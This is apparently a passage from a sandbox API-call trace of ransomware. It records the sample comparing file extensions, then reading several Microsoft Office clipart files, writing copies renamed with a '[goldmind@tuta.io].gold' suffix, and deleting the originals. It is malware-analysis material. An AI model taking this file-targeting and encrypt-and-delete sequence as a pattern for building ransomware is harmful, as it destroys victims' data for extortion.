lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.165] lstrlenW (lpString=".ppt") returned 4 [0108.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString=".zip") returned 4 [0108.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.165] lstrlenW (lpString=".rar") returned 4 [0108.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString=".bz2") returned 4 [0108.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString=".7z") returned 3 [0108.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString=".dbf") returned 4 [0108.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString=".1cd") returned 4 [0108.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString=".jpg") returned 4 [0108.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString=".doc") returned 4 [0108.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString=".docx") returned 5 [0108.165] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.165] lstrlenW (lpString=".pdf") returned 4 [0108.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString=".xls") returned 4 [0108.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.165] lstrlenW (lpString=".xlsx") returned 5 [0108.165] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.165] lstrlenW (lpString=".ppt") returned 4 [0108.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString=".zip") returned 4 [0108.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.166] lstrlenW (lpString=".rar") returned 4 [0108.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.166] lstrlenW (lpString=".bz2") returned 4 [0108.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.166] lstrlenW (lpString=".7z") returned 3 [0108.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.166] lstrlenW (lpString=".dbf") returned 4 [0108.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.166] lstrlenW (lpString=".1cd") returned 4 [0108.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.166] lstrlenW (lpString=".jpg") returned 4 [0108.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.166] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.166] lstrlenW (lpString="J0107492.WMF") returned 12 [0108.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.230] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=6860) returned 1 [0108.230] CloseHandle (hObject=0x19c) returned 1 [0108.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 0x20 [0108.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.284] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.284] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.285] GetLastError () returned 0x0 [0108.285] ReadFile (in: hFile=0x188, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1acc, lpOverlapped=0x0) returned 1 [0108.294] WriteFile (in: hFile=0x19c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1ad0, lpOverlapped=0x0) returned 1 [0108.295] ReadFile (in: hFile=0x188, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.295] WriteFile (in: hFile=0x19c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.295] SetEndOfFile (hFile=0x19c) returned 1 [0108.295] CloseHandle (hObject=0x19c) returned 1 [0108.295] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.295] SetEndOfFile (hFile=0x188) returned 1 [0108.297] CloseHandle (hObject=0x188) returned 1 [0108.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0108.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.298] lstrlenW (lpString=".doc") returned 4 [0108.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.298] lstrlenW (lpString=".docx") returned 5 [0108.298] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.298] lstrlenW (lpString=".pdf") returned 4 [0108.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.298] lstrlenW (lpString=".xls") returned 4 [0108.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.298] lstrlenW (lpString=".xlsx") returned 5 [0108.298] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.298] lstrlenW (lpString=".ppt") returned 4 [0108.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.298] lstrlenW (lpString=".zip") returned 4 [0108.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.299] lstrlenW (lpString=".rar") returned 4 [0108.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString=".bz2") returned 4 [0108.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString=".7z") returned 3 [0108.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString=".dbf") returned 4 [0108.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString=".1cd") returned 4 [0108.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString=".jpg") returned 4 [0108.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString=".doc") returned 4 [0108.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString=".docx") returned 5 [0108.299] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.299] lstrlenW (lpString=".pdf") returned 4 [0108.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString=".xls") returned 4 [0108.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.299] lstrlenW (lpString=".xlsx") returned 5 [0108.299] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.299] lstrlenW (lpString=".ppt") returned 4 [0108.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString=".zip") returned 4 [0108.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.299] lstrlenW (lpString=".rar") returned 4 [0108.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString=".bz2") returned 4 [0108.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString=".7z") returned 3 [0108.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString=".dbf") returned 4 [0108.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString=".1cd") returned 4 [0108.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0108.299] lstrlenW (lpString=".jpg") returned 4 [0108.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.299] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.299] lstrlenW (lpString="J0107516.WMF") returned 12 [0108.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.312] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14008) returned 1 [0108.312] CloseHandle (hObject=0x3b4) returned 1 [0108.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 0x20 [0108.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.313] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.313] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.314] GetLastError () returned 0x0 [0108.314] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x36b8, lpOverlapped=0x0) returned 1 [0108.316] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x36c0, lpOverlapped=0x0) returned 1 [0108.316] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.316] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.316] SetEndOfFile (hFile=0x188) returned 1 [0108.317] CloseHandle (hObject=0x188) returned 1 [0108.317] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.317] SetEndOfFile (hFile=0x3b4) returned 1 [0108.318] CloseHandle (hObject=0x3b4) returned 1 [0108.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0108.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.319] lstrlenW (lpString=".doc") returned 4 [0108.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.319] lstrlenW (lpString=".docx") returned 5 [0108.319] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.319] lstrlenW (lpString=".pdf") returned 4 [0108.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.319] lstrlenW (lpString=".xls") returned 4 [0108.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.319] lstrlenW (lpString=".xlsx") returned 5 [0108.320] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.320] lstrlenW (lpString=".ppt") returned 4 [0108.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".zip") returned 4 [0108.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.320] lstrlenW (lpString=".rar") returned 4 [0108.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString=".bz2") returned 4 [0108.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString=".7z") returned 3 [0108.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".dbf") returned 4 [0108.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".1cd") returned 4 [0108.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".jpg") returned 4 [0108.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".doc") returned 4 [0108.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString=".docx") returned 5 [0108.320] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.320] lstrlenW (lpString=".pdf") returned 4 [0108.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString=".xls") returned 4 [0108.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.320] lstrlenW (lpString=".xlsx") returned 5 [0108.320] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.320] lstrlenW (lpString=".ppt") returned 4 [0108.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".zip") returned 4 [0108.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.320] lstrlenW (lpString=".rar") returned 4 [0108.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString=".bz2") returned 4 [0108.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString=".7z") returned 3 [0108.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".dbf") returned 4 [0108.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".1cd") returned 4 [0108.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0108.320] lstrlenW (lpString=".jpg") returned 4 [0108.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.321] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.321] lstrlenW (lpString="J0107526.WMF") returned 12 [0108.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.321] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7948) returned 1 [0108.321] CloseHandle (hObject=0x3b4) returned 1 [0108.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 0x20 [0108.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.322] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.322] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.322] GetLastError () returned 0x0 [0108.323] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1f0c, lpOverlapped=0x0) returned 1 [0108.324] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0108.325] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.325] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.325] SetEndOfFile (hFile=0x188) returned 1 [0108.325] CloseHandle (hObject=0x188) returned 1 [0108.325] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.325] SetEndOfFile (hFile=0x3b4) returned 1 [0108.327] CloseHandle (hObject=0x3b4) returned 1 [0108.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString=".doc") returned 4 [0108.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".docx") returned 5 [0108.328] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.328] lstrlenW (lpString=".pdf") returned 4 [0108.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".xls") returned 4 [0108.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.328] lstrlenW (lpString=".xlsx") returned 5 [0108.328] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.328] lstrlenW (lpString=".ppt") returned 4 [0108.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0108.328] lstrlenW (lpString=".zip") returned 4 [0108.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.328] lstrlenW (lpString=".rar") returned 4 [0108.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".bz2") returned 4 [0108.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.328] lstrlenW (lpString=".7z") returned 3 [0108.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.328] 